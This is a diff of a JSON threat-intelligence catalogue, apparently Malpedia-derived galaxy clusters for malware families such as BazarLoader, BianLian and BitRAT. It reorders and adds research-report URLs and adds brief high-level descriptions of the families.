"https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", - "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", + "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", + "https://johannesbader.ch/blog/yet-another-bazarloader-dga/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html", + "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", + "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", + "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", - "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", - "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", - "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", - "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", - "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", - "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", - "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", - "https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", - "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", - "https://fr3d.hk/blog/campo-loader-simple-but-effective", - "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://forensicitguy.github.io/bazariso-analysis-advpack/", - "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", + "https://www.youtube.com/watch?v=uAkeXCYcl4Y", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", - "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", - "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/" + "https://abnormalsecurity.com/blog/bazarloader-contact-form", + "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", + "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", + "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", + "https://unit42.paloaltonetworks.com/bazarloader-malware/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", + "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/" ], "synonyms": [ "BEERBOT", @@ -14919,13 +15614,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod", - "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", - "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://twitter.com/James_inthe_box/status/1357009652857196546", "https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176", - "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware" + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", + "https://twitter.com/James_inthe_box/status/1357009652857196546" ], "synonyms": [ "NimzaLoader" @@ -14940,11 +15635,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat", + "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae", + "https://www.youtube.com/watch?v=uakw2HMGZ-I", "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb", - "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae" + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html" ], "synonyms": [], "type": [] @@ -14957,6 +15653,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbtok", + "https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/", "https://blog.360totalsecurity.com/en/360-file-less-attack-protection-intercepts-the-banker-trojan-bbtok-active-in-mexico/" ], "synonyms": [], @@ -14966,7 +15663,7 @@ "value": "BBtok" }, { - "description": "", + "description": "According to Symantec, Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.beapy", @@ -14983,10 +15680,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop", - "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", - "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", - "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/", + "https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA%3D%3D&mid=2247494783&idx=1&sn=612cf3cea1ef62e04bfb6bd0ce3b6b65&chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407eef960650e91ec8cc46933ab&scene=178&cur_album_id=1375769135073951745", + "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf" ], "synonyms": [], "type": [] @@ -14999,11 +15697,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep", - "https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html", "https://blog.talosintelligence.com/bedep-actor/", + "https://malware.dontneedcoffee.com/2016/04/bedepantiVM.html", + "https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html", "http://malware-traffic-analysis.net/2016/05/09/index.html", - "https://web.archive.org/web/20150524032716/http://asert.arbornetworks.com/bedeps-dga-trading-foreign-exchange-for-malware-domains/", - "https://malware.dontneedcoffee.com/2016/04/bedepantiVM.html" + "https://web.archive.org/web/20150524032716/http://asert.arbornetworks.com/bedeps-dga-trading-foreign-exchange-for-malware-domains/" ], "synonyms": [], "type": [] @@ -15081,8 +15779,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos", - "https://securitykitten.github.io/2015/07/14/bernhardpos.html", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-07-14-bernhardpos.md" + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-07-14-bernhardpos.md", + "https://securitykitten.github.io/2015/07/14/bernhardpos.html" ], "synonyms": [], "type": [] @@ -15104,22 +15802,22 @@ "value": "BestKorea" }, { - "description": "Cybereason concludes that Betabot is a sophisticated infostealer malware that’s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim’s machine and steal sensitive information.", + "description": "Cybereason concludes that Betabot is a sophisticated infostealer malware that\u2019s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim\u2019s machine and steal sensitive information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot", - "http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en", - "http://www.xylibox.com/2015/04/betabot-retrospective.html", - "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html", + "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39", "https://www.cybereason.com/blog/betabot-banking-trojan-neurevt", "https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html", - "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39" + "http://www.xylibox.com/2015/04/betabot-retrospective.html", + "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en", + "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/" ], "synonyms": [ "Neurevt" @@ -15159,9 +15857,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt", - "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/", + "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger", "https://www.bitdefender.com/files/News/CaseStudies/study/411/Bitdefender-PR-Whitepaper-CyberWallet-creat5874-en-EN.pdf", - "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger" + "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/" ], "synonyms": [], "type": [] @@ -15170,15 +15868,16 @@ "value": "BHunt" }, { - "description": "", + "description": "BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization\u2019s files and leaking them online if the ransom is not paid on time. BianLian gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims\u2019 systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bianlian", "https://twitter.com/malwrhunterteam/status/1558548947584548865", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", "https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/", - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", "https://blogs.blackberry.com/en/2022/10/bianlian-ransomware-encrypts-files-in-the-blink-of-an-eye", - "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/" + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/" ], "synonyms": [], "type": [] @@ -15191,8 +15890,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware", - "http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/", - "http://zirconic.net/2018/07/bi_d-ransomware/" + "http://zirconic.net/2018/07/bi_d-ransomware/", + "http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/" ], "synonyms": [], "type": [] @@ -15219,13 +15918,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates", + "https://habrahabr.ru/post/213973/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", + "https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html", "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf", "https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server", - "https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html", - "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/", - "https://habrahabr.ru/post/213973/", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/" + "https://securelist.com/versatile-ddos-trojan-for-linux/64361/" ], "synonyms": [], "type": [] @@ -15238,8 +15938,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.binanen", - "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", - "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Binanen-B/detailed-analysis.aspx" + "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Binanen-B/detailed-analysis.aspx", + "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood" ], "synonyms": [], "type": [] @@ -15252,10 +15952,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata", - "https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/", - "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" + "https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/", + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" ], "synonyms": [], "type": [] @@ -15310,11 +16010,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath", + "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", "https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/", "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", - "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045a", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045a" ], "synonyms": [], "type": [] @@ -15327,8 +16027,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock", - "https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/", "https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview", + "https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/", "https://twitter.com/malwrhunterteam/status/1215252402988822529" ], "synonyms": [], @@ -15343,8 +16043,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran", "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug-180129.pdf", - "https://content.fireeye.com/apt/rpt-apt38", - "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html" + "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [ "SHADYCAT" @@ -15359,12 +16059,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat", - "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", - "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", - "https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan" + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", + "https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan", + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html" ], "synonyms": [], "type": [] @@ -15373,35 +16073,37 @@ "value": "Bitter RAT" }, { - "description": "According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.\r\n\r\nFurthermore, each buyer’s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.\r\n\r\nBitRAT’s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.", + "description": "According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.\r\n\r\nFurthermore, each buyer\u2019s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.\r\n\r\nBitRAT\u2019s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", - "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", + "https://blog.qualys.com/vulnerabilities-threat-research/2023/01/03/bitrat-now-sharing-sensitive-bank-data-as-a-lure", "https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://community.riskiq.com/article/ade260c6", - "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", + "https://asec.ahnlab.com/en/32781/", "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://community.riskiq.com/article/ade260c6", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", - "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", - "https://asec.ahnlab.com/en/32781/", + "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4", "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", + "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", "https://www.youtube.com/watch?v=CYm3g4zkQdw", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", + "https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", 